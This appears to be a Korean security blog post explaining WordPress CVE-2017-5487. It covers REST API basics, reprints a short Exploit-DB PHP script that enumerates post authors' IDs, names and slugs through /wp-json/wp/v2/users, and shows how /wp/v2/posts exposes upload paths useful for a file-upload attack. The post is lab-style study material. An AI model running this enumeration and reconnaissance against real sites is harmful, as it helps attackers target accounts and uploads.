'REST API'에 해당되는 글 1건

반응형

1. CVE-2017-5487이란?

 : 워드프레스 4.7.1 이전의 버전에서 wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php에 있는 REST API 구현에 있어 게시자 목록을 제한하지 않아 원격 공격자가 wp-json/wp/v2/users 요청을 통해 중요한 정보를 얻을 수 있는 취약점.

( 참고 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )


무슨 말인지 모르겠으니 배경지식에 대해 알아본 뒤 실습을 통해 알아보도록 하자.

만약 배경지식이 필요없다 생각이 든다면 [3]부터 보면 된다.


2. REST API란?

 : 간단히 말하자면 "무엇어떻게 한다" 를 정의한 API를 REST API라고 할 수 있다.

 : 좀 더 자세히 설명하자면 HTTP URI로 정의된 리소스 HTTP Method와 Payload를 이용하여 어떻게 한다는 것이 REST API이다.

 : REST = REpresentational State Transter의 약자


2.1 HTTP URI로 정의된 리소스

 : 리소스란 처리되는 대상을 의미

 ex) JSON, XML 문서, jpg 등 이미지 파일, mp4 등 비디오 파일 등등..


 : URI란 Uniform Resource Identifier의 약자로 통합 자원 식별자이다. 우리가 흔히 보는 URL도 URI의 일부인데 어떠한 자원을 식별하는 것을 말한다.

 ex) http://rootable.tistory.com/user/test 를 통해 test라는 유저에 대한 정보를 획득할 수 있다면 이도 또한 URI이다.


2.2 HTTP Method

 : 해당 메소드는 리소스가 어떤 형식이던지 상관없이 똑같이 동작한다.

 : REST API에서 사용되는 메소드는 POST, GET, PUT, PATCH, DELETE 등이 있다. 주의할 점은 우리가 생각하는 기능과는 다르다는 점이다. 예를 들어 POST같은 경우 우리는 서버로 데이터나 문서를 요청할 때 사용하는 메소드라 생각하는데 REST API같은 경우는 생성(create) 기능을 한다.


 * HTTP Method와 CRUD 연산 정리

HTTP Method 

CRUD 연산 

 POST

 create 

 GET 

 read 

 PUT 

 update / replace 

 PATCH 

 update / modify 

 DELETE 

 delete 


 * CRUD 연산이란 컴퓨터 소프트웨어가 기본적으로 데이터 처리할 때 사용하는 Create, Read, Update, Delete를 묶어서 일컫는 말이다.


ex) http://rootable.tistory.com의 users에 doni라는 사용자를 추가하라는 REST API

POST http://rootable.tistroy.com/users/doni


ex) 사용자 생성 시 직업, 나이, 성별 등 다양한 특성이 필요할 경우 XML이나 JSON 같은 다양한 표현 언어를 Body 부분에 명시하여 등록

POST http://rootable.tistory.com/users Content-Type: application/json


{

"username" : "doni"

"age" : "27"

}


3. 워드프레스의 REST API

 : REST API가 리소스를 어떻게 하겠다는 미리 정의된 API라 하였다. 그렇다면 워드프레스에서 정의한 REST API는 무엇이 있을까?


아래의 표를 참고하자.

ResourceBase Route
Posts/wp/v2/posts
Post Revisions/wp/v2/revisions
Categories/wp/v2/categories
Tags/wp/v2/tags
Pages/wp/v2/pages
Comments/wp/v2/comments
Taxonomies/wp/v2/taxonomies
Media/wp/v2/media
Users/wp/v2/users
Post Types/wp/v2/types
Post Statuses/wp/v2/statuses
Settings/wp/v2/settings

여러가지 REST API가 정의된 것을 볼 수 있다. 여기서 우리가 이번에 알아볼 CVE에서 나온 /wp/v2/users가 있는 것을 알 수 있다.


4. CVE 활용

4.1. 글작성자에 대한 정보 획득

 - 아래는 EXPLOIT DB에서 찾은 코드이다. ( https://www.exploit-db.com/exploits/41497/ )

 - 코드를 보면 알 수 있듯이 그냥 처리 결과를 깔끔하게 정리하여 화면에 뿌려주는게 다다. 굳이 이 익스플로잇 코드를 이용하지 않고 직접접근하여도 정보를 얻을 수는 있으므로 깔끔하게 보이기 위해 FU 취약점까지 갈 필요는 없다고 본다.

#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
 
 
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
 
 
?>


이를 wordpress를 설치한 곳에 php코드로 저장 후 실행시키면 아래와 같이 결과가 뜬다.


직접 접근할 경우는 아래와 같이 보인다. (잘 안보인다면 클릭)


이를 통해 알 수 있는 정보는 글을 작성한 사용자에 대한 ID, name 등 정보를 획득할 수 있다


참고) 회원가입되어 있는 모든 사용자가 보이는줄 알았지만 테스트한 결과 글 작성자의 계정만 보이는 것이다. CVE 설명을 보면 author라는 단어가 있는데 이게 바로 작성자의 의미인 듯 하다. 


4.2 파일업로드 경로 획득

Wordpress에서의 REST API 중 /wp/v2/posts가 있다. 이에 접근하면 아래와 같이 포스팅한 글에 대한 정보가 보이는데 이 중 표시한 것처럼 파일업로드 경로를 획득할 수 있다. FU 취약점이 발견된다면 큰 도움이 될 것으로 보인다.


- posts를 할 경우 너무 많은 정보가 떠 불편할 경우 [ /wp-json/wp/v2/posts/20 ] 로 접근한다면 20번째 글에 대한 정보만 획득할 수 있다.


5. 참고

4.7 버전에서도 setting을 보거나 글을 수정하는 것은 불가능한 것으로 보인다,


- 세팅을 보려할 경우엔 rest_forbidden이 뜨며 접근이 금지된다.


- 첫번째 글을 수정하려 할 경우 글을 읽을 수 없다는 메시지가 뜬다.


- user를 보는 것보다 이게 더 큰 것일 텐데 조금 아쉽다.. 검색 결과 이에 해당하는 취약점은 없는 것으로 보인다. 다만 4.7.1 이전의 버전에 대해 타사용자의 글을 수정할 수 있는 취약점이 존재하는 것으로 보인다. 이는 다음 포스팅에서 진행하도록 하겠다.


참고)

1. REST API 설명 : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770

2. 유니코드 번역 : http://koreanstudies.com/unicode-converter.html

3. 다운그레이드 (하다가 진행이 안되서 다시 설치했으므로 안새로 설치하는 것을 추천한다)

: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/

반응형

'Hacking > Web' 카테고리의 다른 글

자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
Injection PHP Code  (0) 2018.03.24
Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
XXE Injection  (0) 2018.02.01
블로그 이미지

rootable

,